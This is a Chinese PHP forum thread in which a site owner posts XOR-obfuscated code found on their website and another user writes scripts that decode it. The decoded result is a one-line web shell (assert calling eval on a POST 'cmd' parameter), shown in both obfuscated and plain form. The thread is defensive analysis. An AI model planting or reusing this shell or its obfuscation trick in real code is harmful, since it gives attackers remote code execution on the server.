哪位大神帮我看下是什么意思

[维c银翘片]

<?php
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
?>



这是网站上面弄出来了 ，应该是中马了，大神帮我分析下什么意思

[calldatou]

[xuzuning]

$s =<<< 'TXT'
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
TXT;

preg_match_all('/\(("[^\)]+)/', $s, $m);
foreach($m[1] as $v) printf("%s => %s\n", $v, eval("return $v;"));

"#"^"|" => _
"#"^"|" => _
"!"^"`" => A
"( "^"{" => S
"("^"[" => s
"~"^";" => E
"|"^"." => R
"*"^"~" => T
"#"^"|" => _
"#"^"|" => _
"-"^"H" => e
"]"^"+" => v
"["^":" => a
","^"@" => l
"}"^"U" => (
"~"^">" => @
"e"^"A" => $
"("^"w" => _
"j"^":" => P
"i"^"&" => O
"#"^"p" => S
">"^"j" => T
"!"^"z" => [
"]"^">" => c
"@"^"-" => m
"["^"?" => d
"?"^"b" => ]
"]"^"t" => )

接下来自己分析

[xuzuning]

好人做到底

$s =<<< 'TXT'
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
TXT;
 
$t = preg_replace_callback('/\(("[^\)]+)./', function($m) { return "'" . eval("return $m[1];")."'";}, $s);
echo preg_replace("/'\.\s*'/", '', $t);

${'__'}='ASsERT';
${'__'}('eval(@$_POST[cmd])');